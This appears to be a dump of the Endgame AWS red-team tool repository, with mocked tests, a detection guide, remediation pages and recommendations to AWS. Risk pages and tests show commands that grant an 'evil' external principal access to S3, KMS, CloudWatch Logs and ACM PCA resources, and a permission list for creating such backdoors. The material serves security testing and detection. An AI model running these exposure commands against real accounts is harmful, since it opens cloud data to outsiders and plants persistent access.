24 | 25 | [Policy Sentry](https://engineering.salesforce.com/salesforce-cloud-security-automating-least-privilege-in-aws-iam-with-policy-sentry-b04fe457b8dc) is a least-privilege 26 | IAM Authoring tool created by [Kinnaird McQuade](https://twitter.com/kmcquade3) that demonstrated to the industry how to write least privilege IAM policies at scale, restricting permissions according to specific resources and access levels. 27 | -------------------------------------------------------------------------------- /test/command/test_smash.py: -------------------------------------------------------------------------------- 1 | import os 2 | import json 3 | import unittest 4 | import warnings 5 | from moto import mock_s3, mock_sts 6 | from click.testing import CliRunner 7 | from endgame.shared.aws_login import get_boto3_client, get_current_account_id 8 | from endgame.command.list_resources import list_resources 9 | from endgame.command.smash import smash 10 | EVIL_PRINCIPAL = "arn:aws:iam::999988887777:user/evil" 11 | 12 | BUCKET_NAMES = [ 13 | "victimbucket1", 14 | "victimbucket2", 15 | "victimbucket3", 16 | ] 17 | 18 | 19 | class SmashClickUnitTests(unittest.TestCase): 20 | """Test listing S3 resources using the CLI""" 21 | 22 | def setUp(self): 23 | self.runner = CliRunner() 24 | with warnings.catch_warnings(): 25 | warnings.filterwarnings("ignore", category=DeprecationWarning) 26 | region = "us-east-1" 27 | self.mock = mock_s3() 28 | self.mock.start() 29 | self.mock_sts = mock_sts() 30 | self.mock_sts.start() 31 | self.client = get_boto3_client(profile=None, service="s3", region=region) 32 | for bucket in BUCKET_NAMES: 33 | self.client.create_bucket(Bucket=bucket) 34 | os.environ["EVIL_PRINCIPAL"] = EVIL_PRINCIPAL 35 | 36 | def test_smash_help(self): 37 | """command.smash.smash: Print help""" 38 | result = self.runner.invoke(smash, ["--help"]) 39 | self.assertTrue(result.exit_code == 0) 40 | 41 | def test_smash_dry_run(self): 42 | """command.smash.smash: Dry run""" 43 | smash_result = self.runner.invoke(smash, ["--service", "s3", "--dry-run"]) 44 | print(smash_result.output) 45 | self.assertTrue(smash_result.exit_code == 0) 46 | 47 | def tearDown(self): 48 | for bucket in BUCKET_NAMES: 49 | self.client.delete_bucket(Bucket=bucket) 50 | self.mock.stop() 51 | 52 | 53 | class SmashClickUnitTestsWithExclusions(unittest.TestCase): 54 | def setUp(self): 55 | self.runner = CliRunner() 56 | with warnings.catch_warnings(): 57 | warnings.filterwarnings("ignore", category=DeprecationWarning) 58 | region = "us-east-1" 59 | self.mock = mock_s3() 60 | self.mock.start() 61 | self.mock_sts = mock_sts() 62 | self.mock_sts.start() 63 | self.client = get_boto3_client(profile=None, service="s3", region=region) 64 | for bucket in BUCKET_NAMES: 65 | self.client.create_bucket(Bucket=bucket) 66 | os.environ["EVIL_PRINCIPAL"] = EVIL_PRINCIPAL 67 | 68 | def test_smash_live_run(self): 69 | """command.smash.smash: Live run""" 70 | os.environ["EXCLUDED_NAMES"] = "victimbucket1" 71 | smash_result = self.runner.invoke(smash, ["--service", "s3"]) 72 | self.assertTrue(smash_result.exit_code == 0) 73 | print(smash_result.output) 74 | count = smash_result.output.count("SUCCESS") 75 | self.assertEqual(count, 2) 76 | 77 | def tearDown(self): 78 | for bucket in BUCKET_NAMES: 79 | self.client.delete_bucket(Bucket=bucket) 80 | self.mock.stop() 81 | -------------------------------------------------------------------------------- /docs/detection.md: -------------------------------------------------------------------------------- 1 | # Detection 2 | 3 | There are three general methods that blue teams can use to **detect** AWS Resource Exposure Attacks: 4 | 5 | 1. User Agent Detection (Endgame specific) 6 | 2. API call detection 7 | 3. Behavioral-based detection 8 | 4. AWS Access Analyzer 9 | 10 | While (1) User Agent Detection is specific to the usage of Endgame, (2) API Call Detection, (3) Behavioral-based detection, and (4) AWS Access Analyzer are strategies to detect Resource Exposure Attacks, regardless of if the attacker is using Endgame to do it. 11 | 12 | ## Detecting Resource Exposure Attacks 13 | 14 | ### API Call Detection 15 | 16 | Further documentation on how to query for specific API calls made to each service by endgame is available in the [risks documentation](./risks). 17 | 18 | ### Behavioral-based detection 19 | 20 | Behavioral-based detection is currently being researched and developed by [Ryan Stalets](https://twitter.com/RyanStalets). [GitHub issue #46](https://github.com/salesforce/endgame/issues/46) is being used to track this work. We welcome all contributions and discussion! 21 | 22 | ## Detecting Endgame 23 | 24 | ### User Agent Detection 25 | 26 | Endgame uses the user agent `HotDogsAreSandwiches` by default. While this can be overriden using the `--cloak` flag, defense teams can still use it as an IOC. 27 | 28 | The following CloudWatch Insights query will expose events with the `HotDogsAreSandwiches` user agent in CloudTrail logs: 29 | 30 | ``` 31 | fields eventTime, eventSource, eventName, userIdentity.arn, userAgent 32 | | filter userAgent='HotDogsAreSandwiches' 33 | ``` 34 | 35 | This query assumes that your CloudTrail logs are being sent to CloudWatch and that you have selected the correct log group. 36 | 37 | Further documentation on how to query for specific API calls made to each service by endgame is available in the [risks documentation](risks). 38 | 39 | ### AWS Access Analyzer 40 | 41 | [AWS Access Analyzer](https://docs.aws.amazon.com/IAM/latest/UserGuide/what-is-access-analyzer.html) analyzes new or updated resource-based policies within 30 minutes of policy updates (triggered by CloudTrail log entries), and during periodic scans (every 24 hours). If an attacker leverages the `expose` or `smash` commands but quickly rolls back the changes with `--undo`, you might not find out about the attack with Access Analyzer until 30 minutes later. 42 | 43 | However, Access Analyzer can still be especially useful in ensuring that if attacks do gain a foothold in your infrastructure. If the attacker ran Endgame or perform resource exposure attacks without the tool, you can still use Access Analyzer to alert on those changes so you can respond to the issue, instead of allowing a persistent backdoor. 44 | 45 | Consider leveraging `aws:PrincipalOrgID` or `aws:PrincipalOrgPaths` in your Access Analyzer filter keys to detect access from IAM principals outside your AWS account. See [Access Analyzer Filter Keys](https://docs.aws.amazon.com/IAM/latest/UserGuide/access-analyzer-reference-filter-keys.html) for more details. 46 | 47 | ## Further Reading 48 | 49 | Additional information on AWS resource policies, how this tool works in the victim account, and identification/containment suggestions is [here](resource-policy-primer.md). 50 | -------------------------------------------------------------------------------- /endgame/shared/validate.py: -------------------------------------------------------------------------------- 1 | import logging 2 | import click 3 | from endgame.shared.constants import SUPPORTED_AWS_SERVICES 4 | from policy_sentry.util.arns import get_service_from_arn 5 | from policy_sentry.util.arns import parse_arn_for_resource_type 6 | logger = logging.getLogger(__name__) 7 | 8 | 9 | def click_validate_supported_aws_service(ctx, param, value): 10 | if value in SUPPORTED_AWS_SERVICES: 11 | return value 12 | else: 13 | raise click.BadParameter( 14 | f"Supply a supported AWS service. Supported services are: {', '.join(SUPPORTED_AWS_SERVICES)}" 15 | ) 16 | 17 | 18 | def click_validate_comma_separated_resource_names(ctx, param, value): 19 | if value is not None: 20 | try: 21 | if value == "": 22 | return [] 23 | else: 24 | exclude_resource_names = value.split(",") 25 | return exclude_resource_names 26 | except ValueError: 27 | raise click.BadParameter("Supply the list of resource names to exclude from results in a comma separated string.") 28 | 29 | 30 | def click_validate_comma_separated_excluded_services(ctx, param, value): 31 | if value is not None: 32 | try: 33 | if value == "": 34 | return [] 35 | else: 36 | excluded_services = value.split(",") 37 | for service in excluded_services: 38 | if service not in SUPPORTED_AWS_SERVICES: 39 | raise click.BadParameter(f"The service name {service} is invalid. Please provide a comma " 40 | f"separated list of supported services from the list: " 41 | f"{','.join(SUPPORTED_AWS_SERVICES)}") 42 | return excluded_services 43 | except ValueError: 44 | raise click.BadParameter("Supply the list of resource names to exclude from results in a comma separated string.") 45 | 46 | 47 | def click_validate_user_or_principal_arn(ctx, param, value): 48 | if validate_user_or_principal_arn(value): 49 | return value 50 | else: 51 | raise click.BadParameter( 52 | f"Please supply a valid IAM principal ARN (a user or a role)" 53 | ) 54 | 55 | 56 | def validate_user_or_principal_arn(arn: str): 57 | if arn.strip('"').strip("'") == "*": 58 | return True 59 | else: 60 | service = get_service_from_arn(arn) 61 | resource_type = parse_arn_for_resource_type(arn) 62 | # Make sure it is an IAM ARN 63 | if service != "iam": 64 | raise Exception("Please supply a valid IAM principal ARN (a user or a role)") 65 | # Make sure that it is a user or a role 66 | elif resource_type not in ["user", "role"]: 67 | raise Exception("Please supply a valid IAM principal ARN (a user or a role)") 68 | else: 69 | return True 70 | 71 | 72 | def validate_basic_policy_json(policy_json: dict) -> dict: 73 | # Expect Statement in policy 74 | if "Version" not in policy_json or "Statement" not in policy_json: 75 | logger.warning("Policy does not have either 'Version' or 'Statement' block in it.") 76 | policy = {"Version": "2012-10-17", "Statement": []} 77 | return policy 78 | else: 79 | if not isinstance(policy_json.get("Statement"), list): 80 | logger.warning("'Statement' in Policy should be a list (ideally) or a dict") 81 | return policy_json 82 | -------------------------------------------------------------------------------- /docs/recommendations-to-aws.md: -------------------------------------------------------------------------------- 1 | # Recommendations to AWS 2 | 3 | While [Cloudsplaining](https://opensource.salesforce.com/cloudsplaining/) (a Salesforce-produced AWS IAM assessment tool), showed us the pervasiveness of least privilege violations in AWS IAM across the industry, Endgame shows us how it is already easy for attackers. These are not new attacks, but AWS's ability to **detect** _and_ **prevent** these attacks falls short of what customers need to protect themselves. 4 | 5 | [AWS Access Analyzer](https://docs.aws.amazon.com/IAM/latest/UserGuide/what-is-access-analyzer.html) is a tool produced by AWS that helps you identify the resources in your organization and accounts, such as Amazon S3 buckets or IAM roles, that are shared with an external entity. In short, it **detects** instances of this resource exposure problem. However, it does not by itself meet customer need, due to current gaps in coverage and the lack of preventative tooling to compliment it. 6 | 7 | At the time of this writing, [AWS Access Analyzer](https://docs.aws.amazon.com/IAM/latest/UserGuide/access-analyzer-resources.html) does **NOT** support auditing **11 out of the 18 services** that Endgame attacks. Given that Access Analyzer is intended to detect this exact kind of violation, we kindly suggest to the AWS Team that they support all resources that can be attacked using Endgame. 😊 8 | 9 | The lack of preventative tooling makes this issue more difficult for customers. Ideally, customers should be able to say, _"Nobody in my AWS Organization is allowed to share **any** resources that can be exposed by Endgame outside of the organization, unless that resource is in an exemption list."_ This **should** be possible, but it is not. It is not even possible to use [AWS Service Control Policies (SCPS)](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps.html) - AWS's preventative guardrails service - to prevent `sts:AssumeRole` calls from outside your AWS Organization. The current SCP service limit of 5 SCPs per AWS account compounds this problem. 10 | 11 | We recommend that AWS take the following measures in response: 12 | 13 | * Increase Access Analyzer Support to cover the resources that can be exposed via Resource-based Policy modification, AWS RAM resource sharing, and resource-specific sharing APIs (such as RDS snapshots, EBS snapshots, and EC2 AMIs) 14 | * Create GuardDuty rules that detect anomalous exposure of resources outside your AWS Organization. 15 | * Expand the current limit of 5 SCPs per AWS account to 200. (for comparison, the Azure equivalent - Azure Policies - has a limit of [200 Policy or Initiative Assignments per subscription](https://docs.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits#azure-policy-limits)) 16 | * Improve the AWS SCP service to support an "Audit" mode that would record in CloudTrail whether API calls would have been denied had the SCP not been in audit mode. This would increase customer adoption and make it easier for customers to both pilot and roll out new guardrails. (for comparison, the Azure Equivalent - Azure Policies - already [supports Audit mode](https://docs.microsoft.com/en-us/azure/governance/policy/concepts/effects#audit). 17 | * Support the usage of `sts:AssumeRole` to prevent calls from outside your AWS Organization, with targeted exceptions. 18 | * Add IAM Condition Keys to all the IAM Actions that are used to perform Resource Exposure. These IAM Condition Keys should be used to prevent these resources from (1) being shared with the public **and** (2) being shared outside of your `aws:PrincipalOrgPath`. 19 | -------------------------------------------------------------------------------- /docs/risks/logs.md: -------------------------------------------------------------------------------- 1 | # CloudWatch Logs Resource Policies 2 | 3 | CloudWatch Resource Policies allow other AWS services or IAM Principals to put log events into the account. 4 | 5 | * [Steps to Reproduce](#steps-to-reproduce) 6 | * [Exploitation](#exploitation) 7 | * [Remediation](#remediation) 8 | * [References](#references) 9 | 10 | ## Steps to Reproduce 11 | 12 | * To expose the resource using `endgame`, run the following from the victim account: 13 | 14 | ```bash 15 | export EVIL_PRINCIPAL=arn:aws:iam::999988887777:user/evil 16 | 17 | endgame expose --service cloudwatch --name test-resource-exposure 18 | ``` 19 | 20 | * To view the contents of the exposed resource policy, run the following: 21 | 22 | ```bash 23 | aws logs describe-resource-policies 24 | ``` 25 | 26 | * Observe that the contents of the exposed resource policy match the example shown below. 27 | 28 | ## Example 29 | 30 | ```json 31 | { 32 | "resourcePolicies": [ 33 | { 34 | "policyName": "test-resource-exposure", 35 | "policyDocument": "{\"Version\":\"2012-10-17\",\"Statement\":[{\"Sid\":\"\",\"Effect\":\"Allow\",\"Principal\":{\"AWS\":\"arn:aws:iam::999988887777:root\"},\"Action\":[\"logs:PutLogEventsBatch\",\"logs:PutLogEvents\",\"logs:CreateLogStream\"],\"Resource\":\"arn:aws:logs:*\"}]}", 36 | "lastUpdatedTime": 1613244111319 37 | } 38 | ] 39 | } 40 | ``` 41 | 42 | ## Exploitation 43 | 44 | ``` 45 | TODO 46 | ``` 47 | 48 | ## Remediation 49 | 50 | > ‼️ **Note**: At the time of this writing, AWS Access Analyzer does **NOT** support auditing of this resource type to prevent resource exposure. **We kindly suggest to the AWS Team that they support all resources that can be attacked using this tool**. 😊 51 | 52 | * **Trusted Accounts Only**: Ensure that CloudWatch Logs access is only shared with trusted accounts, and that the trusted accounts truly need access to write to the CloudWatch Logs. 53 | * **Ensure access is necessary**: For any trusted accounts that do have access, ensure that the access is absolutely necessary. 54 | * **Restrict access to IAM permissions that could lead to exposing write access to your CloudWatch Logs**: Tightly control access to the following IAM actions: 55 | - [logs:PutResourcePolicy](https://docs.aws.amazon.com/AmazonCloudWatchLogs/latest/APIReference/API_PutResourcePolicy.html): _Creates or updates a resource policy allowing other AWS services to put log events to this account_ 56 | - [logs:DeleteResourcePolicy](https://docs.aws.amazon.com/AmazonCloudWatchLogs/latest/APIReference/API_DeleteResourcePolicy.html): _Deletes a resource policy from this account. This revokes the access of the identities in that policy to put log events to this account._ 57 | - [logs:DescribeResourcePolicies](https://docs.aws.amazon.com/AmazonCloudWatchLogs/latest/APIReference/API_DescribeResourcePolicies.html): _Lists the resource policies in this account._ 58 | 59 | Also, consider using [Cloudsplaining](https://github.com/salesforce/cloudsplaining/#cloudsplaining) to identify violations of least privilege in IAM policies. This can help limit the IAM principals that have access to the actions that could perform Resource Exposure activities. See the example report [here](https://opensource.salesforce.com/cloudsplaining/) 60 | 61 | ## References 62 | 63 | * [CloudWatch Logs Resource Policies](https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/iam-access-control-overview-cwl.html) 64 | * [API Documentation: PutResourcePolicy](https://docs.aws.amazon.com/AmazonCloudWatchLogs/latest/APIReference/API_PutResourcePolicy.html) 65 | * [aws logs put-resource-policy](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/logs/put-resource-policy.html) 66 | * [aws logs describe-resource-policy](https://docs.aws.amazon.com/cli/latest/reference/logs/describe-resource-policies.html) -------------------------------------------------------------------------------- /endgame/exposure_via_sharing_apis/common.py: -------------------------------------------------------------------------------- 1 | import copy 2 | from abc import ABCMeta, abstractmethod 3 | import boto3 4 | import botocore 5 | from botocore.exceptions import ClientError 6 | 7 | 8 | class ResponseGetSharingApi: 9 | def __init__( 10 | self, 11 | shared_with_accounts: list, 12 | success: bool, 13 | resource_type: str, 14 | resource_name: str, 15 | service: str, 16 | updated_policy: list, # we can format this however we want even though there are no RBPs 17 | original_policy: list, # we can format this however we want even though there are no RBPs 18 | evil_principal: str, 19 | victim_resource_arn: str 20 | ): 21 | self.shared_with_accounts = shared_with_accounts 22 | self.success = success 23 | self.evil_principal = evil_principal 24 | self.victim_resource_arn = victim_resource_arn 25 | self.resource_type = resource_type 26 | self.resource_name = resource_name 27 | self.service = service 28 | self.original_policy = original_policy 29 | self.updated_policy = updated_policy 30 | 31 | # This is kind of silly because this is just a list of account IDs, but I am going to piggyback off of the previous 32 | # structure out of convenience 33 | # TODO: Figure out a better way to do this. Mostly because I am doing the RDS and EBS sharing last minute 34 | @property 35 | def updated_policy_sids(self) -> list: 36 | return self.updated_policy 37 | 38 | @property 39 | def original_policy_sids(self) -> list: 40 | return self.original_policy 41 | 42 | @property 43 | def added_sids(self) -> list: 44 | diff = [] 45 | if len(self.updated_policy_sids) > len(self.original_policy_sids): 46 | diff = list(set(self.updated_policy_sids) - set(self.original_policy_sids)) 47 | return diff 48 | 49 | @property 50 | def removed_sids(self) -> list: 51 | diff = [] 52 | if len(self.original_policy_sids) > len(self.updated_policy_sids): 53 | diff = list(set(self.original_policy_sids) - set(self.updated_policy_sids)) 54 | return diff 55 | 56 | 57 | class ResourceSharingApi(object): 58 | __meta_class__ = ABCMeta 59 | 60 | def __init__( 61 | self, 62 | name: str, 63 | resource_type: str, 64 | service: str, 65 | region: str, 66 | client: boto3.Session.client, 67 | current_account_id: str, 68 | ): 69 | self.name = name 70 | self.resource_type = resource_type 71 | self.client = client 72 | self.current_account_id = current_account_id 73 | self.service = service 74 | self.region = region 75 | self.shared_with_accounts = self._get_shared_with_accounts().shared_with_accounts 76 | self.original_shared_with_accounts = copy.deepcopy(self.shared_with_accounts) 77 | 78 | @property 79 | @abstractmethod 80 | def arn(self) -> str: 81 | raise NotImplementedError("Must override arn") 82 | 83 | @abstractmethod 84 | def _get_shared_with_accounts(self) -> ResponseGetSharingApi: 85 | raise NotImplementedError("Must override _get_shared_with_accounts") 86 | 87 | @abstractmethod 88 | def share(self, accounts_to_add: list, accounts_to_remove: list) -> ResponseGetSharingApi: 89 | raise NotImplementedError("Must override share") 90 | 91 | @abstractmethod 92 | def add_myself(self, evil_policy: dict) -> ResponseGetSharingApi: 93 | raise NotImplementedError("Must override add_myself") 94 | 95 | @abstractmethod 96 | def undo(self, evil_principal: str, dry_run: bool = False) -> ResponseGetSharingApi: 97 | raise NotImplementedError("Must override undo") 98 | -------------------------------------------------------------------------------- /test/exposure_via_resource_policies/test_kms.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | import warnings 3 | import json 4 | from moto import mock_kms 5 | from endgame.exposure_via_resource_policies.kms import KmsKey, KmsKeys 6 | from endgame.shared.aws_login import get_boto3_client 7 | from endgame.shared import constants 8 | 9 | MY_RESOURCE = "alias/test-resource-exposure" 10 | EVIL_PRINCIPAL = "arn:aws:iam::999988887777:user/evil" 11 | 12 | 13 | # https://github.com/spulec/moto/blob/master/tests/test_sqs/test_sqs.py 14 | class KmsTestCase(unittest.TestCase): 15 | def setUp(self): 16 | with warnings.catch_warnings(): 17 | warnings.filterwarnings("ignore", category=DeprecationWarning) 18 | self.mock = mock_kms() 19 | self.mock.start() 20 | region = "us-east-1" 21 | current_account_id = "123456789012" 22 | self.client = get_boto3_client(profile=None, service="kms", region=region) 23 | self.key_id = self.client.create_key()["KeyMetadata"]["KeyId"] 24 | self.client.create_alias(AliasName=MY_RESOURCE, TargetKeyId=self.key_id) 25 | self.example = KmsKey(name=MY_RESOURCE, region=region, client=self.client, 26 | current_account_id=current_account_id) 27 | self.keys = KmsKeys(client=self.client, current_account_id=current_account_id, region=region) 28 | 29 | def test_list_keys(self): 30 | print(self.keys.resources[0].name) 31 | print(self.keys.resources[0].arn) 32 | self.assertTrue(self.keys.resources[0].name == self.key_id) 33 | self.assertTrue(self.keys.resources[0].arn == f"arn:aws:kms:us-east-1:123456789012:key/{self.key_id}") 34 | 35 | def test_get_rbp(self): 36 | expected_result = { 37 | "Version": "2012-10-17", 38 | "Statement": [] 39 | } 40 | 41 | print(json.dumps(self.example.original_policy, indent=4)) 42 | self.assertDictEqual(self.example.original_policy, expected_result) 43 | 44 | def test_add_myself(self): 45 | result = self.example.add_myself(evil_principal=EVIL_PRINCIPAL) 46 | print(json.dumps(result.updated_policy, indent=4)) 47 | """Example output: 48 | { 49 | "Version": "2012-10-17", 50 | "Statement": [ 51 | { 52 | "Sid": "AllowCurrentAccount", 53 | "Effect": "Allow", 54 | "Principal": { 55 | "AWS": [ 56 | "arn:aws:iam::123456789012:root" 57 | ] 58 | }, 59 | "Resource": "arn:aws:kms:us-east-1:123456789012:key/55444291-fd1f-48b5-93c1-dcb37f305b82", 60 | "Action": [ 61 | "kms:*" 62 | ] 63 | }, 64 | { 65 | "Sid": "Endgame", 66 | "Effect": "Allow", 67 | "Principal": { 68 | "AWS": [ 69 | "arn:aws:iam::999988887777:user/evil" 70 | ] 71 | }, 72 | "Resource": "arn:aws:kms:us-east-1:123456789012:key/55444291-fd1f-48b5-93c1-dcb37f305b82", 73 | "Action": [ 74 | "kms:*" 75 | ] 76 | } 77 | ] 78 | } 79 | """ 80 | self.assertListEqual(result.updated_policy_sids, ["AllowCurrentAccount", f"{constants.SID_SIGNATURE}"]) 81 | 82 | def test_undo(self): 83 | result = self.example.add_myself(evil_principal=EVIL_PRINCIPAL) 84 | print(result.updated_policy_sids) 85 | self.assertListEqual(result.updated_policy_sids, ["AllowCurrentAccount", f"{constants.SID_SIGNATURE}"]) 86 | result = self.example.undo(evil_principal=EVIL_PRINCIPAL) 87 | print(result.updated_policy_sids) 88 | self.assertListEqual(result.updated_policy_sids, ["AllowCurrentAccount"]) 89 | 90 | def tearDown(self): 91 | self.client.schedule_key_deletion(KeyId=self.example.name) 92 | self.mock.stop() 93 | -------------------------------------------------------------------------------- /docs/iam-permissions.md: -------------------------------------------------------------------------------- 1 | # IAM Permissions 2 | 3 | The IAM Permissions listed below are used to create these backdoors. 4 | 5 | You don't need **all** of these permissions to run the tool. You just need enough from each service. For example, `s3:ListAllMyBuckets`, `s3:GetBucketPolicy`, and `s3:PutBucketPolicy` are all the permissions needed to leverage this tool to expose S3 buckets. 6 | 7 | ```json 8 | { 9 | "Version": "2012-10-17", 10 | "Statement": [ 11 | { 12 | "Sid": "IAmInevitable", 13 | "Effect": "Allow", 14 | "Action": [ 15 | "acm-pca:DeletePolicy", 16 | "acm-pca:GetPolicy", 17 | "acm-pca:ListCertificateAuthorities", 18 | "acm-pca:PutPolicy", 19 | "ec2:DescribeImageAttribute", 20 | "ec2:DescribeImages", 21 | "ec2:DescribeSnapshotAttribute", 22 | "ec2:DescribeSnapshots", 23 | "ec2:ModifySnapshotAttribute", 24 | "ec2:ModifyImageAttribute", 25 | "ecr:DescribeRepositories", 26 | "ecr:DeleteRepositoryPolicy", 27 | "ecr:GetRepositoryPolicy", 28 | "ecr:SetRepositoryPolicy", 29 | "elasticfilesystem:DescribeFileSystems", 30 | "elasticfilesystem:DescribeFileSystemPolicy", 31 | "elasticfilesystem:PutFileSystemPolicy", 32 | "es:DescribeElasticsearchDomainConfig", 33 | "es:ListDomainNames", 34 | "es:UpdateElasticsearchDomainConfig", 35 | "glacier:GetVaultAccessPolicy", 36 | "glacier:ListVaults", 37 | "glacier:SetVaultAccessPolicy", 38 | "iam:GetRole", 39 | "iam:ListRoles", 40 | "iam:UpdateAssumeRolePolicy", 41 | "kms:GetKeyPolicy", 42 | "kms:ListKeys", 43 | "kms:ListAliases", 44 | "kms:PutKeyPolicy", 45 | "lambda:AddLayerVersionPermission", 46 | "lambda:AddPermission", 47 | "lambda:GetPolicy", 48 | "lambda:GetLayerVersionPolicy", 49 | "lambda:ListFunctions", 50 | "lambda:ListLayers", 51 | "lambda:ListLayerVersions", 52 | "lambda:RemoveLayerVersionPermission", 53 | "lambda:RemovePermission", 54 | "logs:DescribeResourcePolicies", 55 | "logs:DeleteResourcePolicy", 56 | "logs:PutResourcePolicy", 57 | "rds:DescribeDbClusterSnapshots", 58 | "rds:DescribeDbClusterSnapshotAttributes", 59 | "rds:DescribeDbSnapshots", 60 | "rds:DescribeDbSnapshotAttributes", 61 | "rds:ModifyDbSnapshotAttribute", 62 | "rds:ModifyDbClusterSnapshotAttribute", 63 | "s3:GetBucketPolicy", 64 | "s3:ListAllMyBuckets", 65 | "s3:PutBucketPolicy", 66 | "secretsmanager:GetResourcePolicy", 67 | "secretsmanager:DeleteResourcePolicy", 68 | "secretsmanager:ListSecrets", 69 | "secretsmanager:PutResourcePolicy", 70 | "ses:DeleteIdentityPolicy", 71 | "ses:GetIdentityPolicies", 72 | "ses:ListIdentities", 73 | "ses:ListIdentityPolicies", 74 | "ses:PutIdentityPolicy", 75 | "sns:AddPermission", 76 | "sns:ListTopics", 77 | "sns:GetTopicAttributes", 78 | "sns:RemovePermission", 79 | "sqs:AddPermission", 80 | "sqs:GetQueueUrl", 81 | "sqs:GetQueueAttributes", 82 | "sqs:ListQueues", 83 | "sqs:RemovePermission" 84 | ], 85 | "Resource": "*" 86 | } 87 | ] 88 | } 89 | ``` 90 | 91 | -------------------------------------------------------------------------------- /docs/risks/acm-pca.md: -------------------------------------------------------------------------------- 1 | # ACM Private Certificate Authority (PCA) 2 | 3 | * [Steps to Reproduce](#steps-to-reproduce) 4 | * [Exploitation](#exploitation) 5 | * [Remediation](#remediation) 6 | * [References](#references) 7 | 8 | ## Steps to Reproduce 9 | 10 | * ‼️ If you are using the Terraform demo infrastructure, you must take some follow-up steps after provisioning the resources in order to be able to expose the demo resource. This is due to how ACM PCA works. For instructions, see the [Appendix on ACM PCA Activation](../appendices/acm-pca-activation.md) 11 | 12 | * To expose the resource using `endgame`, run the following from the victim account: 13 | 14 | ```bash 15 | export EVIL_PRINCIPAL=arn:aws:iam::999988887777:user/evil 16 | export CERTIFICATE_ID=12345678-1234-1234-1234-123456789012 17 | 18 | endgame expose --service acm-pca --name $CERTIFICATE_ID 19 | ``` 20 | 21 | * To view the contents of the ACM PCA resource policy, run the following: 22 | 23 | ```bash 24 | export AWS_REGION=us-east-1 25 | export VICTIM_ACCOUNT_ID=111122223333 26 | export CERTIFICATE_ID=12345678-1234-1234-1234-123456789012 27 | export CERTIFICATE_ARN = arn:aws:acm-pca:$AWS_REGION:$VICTIM_ACCOUNT_ID:certificate-authority/$CERTIFICATE_ID 28 | 29 | aws acm-pca list-permissions --certificate-authority-arn $CERTIFICATE_ARN 30 | ``` 31 | 32 | * Observe that the contents of the overly permissive resource-based policy match the example shown below. 33 | 34 | ## Example 35 | 36 | ```bash 37 | { 38 | "Permissions": [ 39 | { 40 | "Actions": { 41 | "IssueCertificate", 42 | "GetCertificate", 43 | "ListPermissions" 44 | }, 45 | "CertificateAuthorityArn": "arn:aws:acm:us-east-1:111122223333:certificate/12345678-1234-1234-1234-123456789012", 46 | "CreatedAt": 1.516130652887E9, 47 | "Principal": "acm.amazonaws.com", 48 | "SourceAccount": "111122223333" 49 | } 50 | ] 51 | } 52 | ``` 53 | 54 | ## Exploitation 55 | 56 | ``` 57 | TODO 58 | ``` 59 | 60 | ## Remediation 61 | 62 | > ‼️ **Note**: At the time of this writing, AWS Access Analyzer does **NOT** support auditing of this resource type to prevent resource exposure. **We kindly suggest to the AWS Team that they support all resources that can be attacked using this tool**. 😊 63 | 64 | * **Trusted Accounts Only**: Ensure that AWS PCA Certificates are only shared with trusted accounts, and that the trusted accounts truly need access to the Certificates. 65 | * **Ensure access is necessary**: For any trusted accounts that do have access, ensure that the access is absolutely necessary. 66 | * **Restrict access to IAM permissions that could lead to exposing usage of your private CAs**: Tightly control access to the following IAM actions: 67 | - [acm-pca:GetPolicy](https://docs.aws.amazon.com/acm-pca/latest/APIReference/API_GetPolicy.html): Retrieves the policy on an ACM Private CA._ 68 | - [acm-pca:PutPolicy](https://docs.aws.amazon.com/acm-pca/latest/APIReference/API_PutPolicy.html): _Puts a policy on an ACM Private CA._ 69 | - [acm-pca:DeletePolicy](https://docs.aws.amazon.com/acm-pca/latest/APIReference/API_DeletePolicy.html): _Deletes the policy for an ACM Private CA._ 70 | 71 | Also, consider using [Cloudsplaining](https://github.com/salesforce/cloudsplaining/#cloudsplaining) to identify violations of least privilege in IAM policies. This can help limit the IAM principals that have access to the actions that could perform Resource Exposure activities. See the example report [here](https://opensource.salesforce.com/cloudsplaining/) 72 | 73 | ## References 74 | 75 | * [Attaching a Resource-based Policy for Cross Account Access in ACM PCA](https://docs.aws.amazon.com/acm-pca/latest/userguide/pca-rbp.html) 76 | * [GetPolicy](https://docs.aws.amazon.com/acm-pca/latest/APIReference/API_GetPolicy.html) 77 | * [PutPolicy](https://docs.aws.amazon.com/acm-pca/latest/APIReference/API_PutPolicy.html) 78 | * [DeletePolicy](https://docs.aws.amazon.com/acm-pca/latest/APIReference/API_DeletePolicy.html) 79 | 80 | -------------------------------------------------------------------------------- /test/exposure_via_resource_policies/README.md: -------------------------------------------------------------------------------- 1 | # Moto support status per service 2 | 3 | * ACM PCA: ❌ Not supported by Moto 4 | * `delete_policy`: ❌ Not supported 5 | * `get_policy`: ❌ Not supported 6 | * `list_certificate_authorities`: ❌ Not supported 7 | * `put_policy`: ❌ Not supported 8 | * CloudWatch Logs: ❌ Resource policy not supported by Moto 9 | * `describe_resource_policies`: ❌ Not supported 10 | * `delete_resource_policy`: ❌ Not supported 11 | * `put_resource_policy`: ❌ Not supported 12 | * ECR 13 | * `describe_repositories`: ✅ Supported 14 | * `delete_repository_policy`: ❌ Not supported 15 | * `get_repository_policy`: ❌ Not supported ⁉️ 16 | * `set_repository_policy`: ❌ Not supported 17 | * EFS: ❌ Not supported by Moto 18 | * `describe_file_system_policy`: ❌ Not supported 19 | * `describe_file_systems`: ❌ Not supported 20 | * `put_file_system_policy`: ❌ Not supported 21 | * ElasticSearch: ❌ Not supported by Moto 22 | * `describe_elasticsearch_domain_config`: Not supported 23 | * `list_domain_names`: Not supported 24 | * `update_elasticsearch_domain_config`: Not supported 25 | * Glacier Vault 26 | * `get_vault_access_policy`: ❌ Not supported 27 | * `list_vaults`: ❌ Not supported ⁉️ 28 | * `set_vault_access_policy`: ❌ Not supported 29 | * IAM 30 | * `get_role`: ✅ Supported 31 | * `list_roles`: ✅ Supported 32 | * `update_assume_role_policy`: ✅ Supported 33 | * KMS 34 | * `get_key_policy`: ✅ Supported 35 | * `list_keys`: ✅ Supported 36 | * `list_aliases`: ❌ Not supported ⁉️ 37 | * `put_key_policy`: ✅ Supported 38 | * Lambda Function 39 | * `list_functions`: ✅ Supported 40 | * `get_function_policy`: ✅ Supported 41 | * `add_permission`: ✅ Supported 42 | * 